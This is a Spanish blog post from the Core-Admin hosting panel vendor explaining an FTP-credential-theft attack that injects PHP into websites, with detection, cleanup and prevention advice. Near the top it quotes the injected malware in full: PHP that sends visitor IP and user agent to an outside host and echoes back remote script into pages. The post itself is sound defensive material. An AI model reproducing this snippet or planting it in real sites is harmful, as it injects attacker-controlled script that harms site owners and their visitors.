Blog

Usando Core-Admin para defenderse del hacking web php+#

Tras una revisión de rutina ha encontrado que varias webs han sido actualizadas introduciendo un código como el siguiente o tal vez un cliente molesto cuya web está siendo bloqueada por el navegador por incluir código sospechoso:

<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) &amp;&amp; !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&amp;referer=".urlencode($_SERVER['HTTP_HOST'])."&amp;ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>

Estos ataques no suponen un peligro para la máquina si está bien configurada, pero hacen que las webs afectadas ejecuten código remoto de chats o publicidad que hará que google chrome y otros navegadores bloqueen dichas páginas por ejecutar código sospechoso.

Conociendo un poco más este ataque

El problema de este ataque es que actualiza los ficheros originales introduciendo una modificación “quirúrgica” haciendo realmente difícil y molesto volver al estado original.

Una opción es la copia de seguridad, pero con las webs actuales que utilizan todo tipo de caches y ficheros de php-to-string, hacen que no sea sencillo. No es posible simplemente recuperar “encima”. Tiene que regresar a un estado consistente de la última copia. Esto implica eliminar la web actual y recuperar los ficheros de la última copia.

Tras esto no hay que olvidarse de resetear/bloquear todas las contraseñas  y cuentas FTP utilizadas durante el ataque.

Primera línea de defensa: saber cuándo ha sido el ataque

Core-Admin le proporciona este conocimiento según ocurre el ataque. Tras la modificación, el servicio de monitorización de cambios de Core-Admin le informará del “posible ataque Php hash” detectado con una indicación similar a la siguiente:

Core-Admin: detecting php hash attack

Tras recibir esta notificación, tan solo tiene que ejecutar el siguiente comando para detectar el total de ficheros modificados y las cuentas FTP comprometidas. El mismo comando le ayudará a realizar todo este trabajo automáticamente:

>> crad-find-and-fix-phphash-attack.pyc

Tras ejecutar este comando, que solo le informará, puede ejecutar el mismo con las siguientes opciones para que corrija los ficheros y actualice las cuentas FTP:

>> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts

¿Cómo ha ocurrido el ataque?

Este ataque en concreto está conectado con una red de equipos que se dedican a realizar las modificaciones junto con un virus/troyano que infecta equipos con clientes FTP conocidos.  Las fases de desarrollo son las siguientes:

  1. Al utilizar clientes FTP conocidos que guardan las contraseñas en lugares predefinidos se inicia la primera parte.
  2. También hay sospechas que el uso de Wifis públicas o redes no protegidas permitiría acceder a esta información mientras se inicia la sesión FTP.
  3. Tras esto, si sus equipos quedan expuestos al virus/troyano que extrae esta información, este último enviará esta información de usuarios y contraseñas a la red de servidores de modificación.
  4. Con esta información, los servidores de modificación (así les llamamos) que finalmente atacan son capaces de entrar por FTP, descargar los ficheros, aplicar las modificaciones, y volver a subir los ficheros ya actualizados.

Notas importantes del ataque

Es importante entender que los servidores de modificación no realizarán el ataque nada más recibir las contraseñas. Esperarán a tener varias contraseñas para el mismo sistema y también retrasarán el ataque para desconectar la infección del equipo con el ataque.

De esta manera, esperan que el usuario habitual no conecte ambos sucesos lo que provoque el análisis de los equipos con antivirus/antitroyanos, cerrando así la fuga de información.

Por otra parte, también esperan a tener varias contraseñas para realizar un ataque más masivo de manera que la confusión del ataque o la magnitud del mismo haga que parte de la infección sobreviva.

¿Cómo puedo prevenirlo?

Hay varias acciones que puede realizar para evitar este tipo de ataques.

  1. Procure no guardar las contraseñas en su gestor FTP. Intente guardarlas en una aplicación de gestión de contraseñas que las guarde cifradas.
  2. Evite usar Wifis y conexiones compartidas (como la de los hoteles) para realizar modificaciones FTP.
  3. Si es posible, tras realizar las modificaciones FTP, pase a modo lectura o desactive la cuenta FTP desde el panel Core-Admin. De esta manera, aunque la contraseña sea conocida, no podrán hacer la modificación.

Posted in: Core-Admin, Core-Admin Web Edition, PHP, Seguridad

Leave a Comment (0) ↓

Leave a Comment

You must be logged in to post a comment.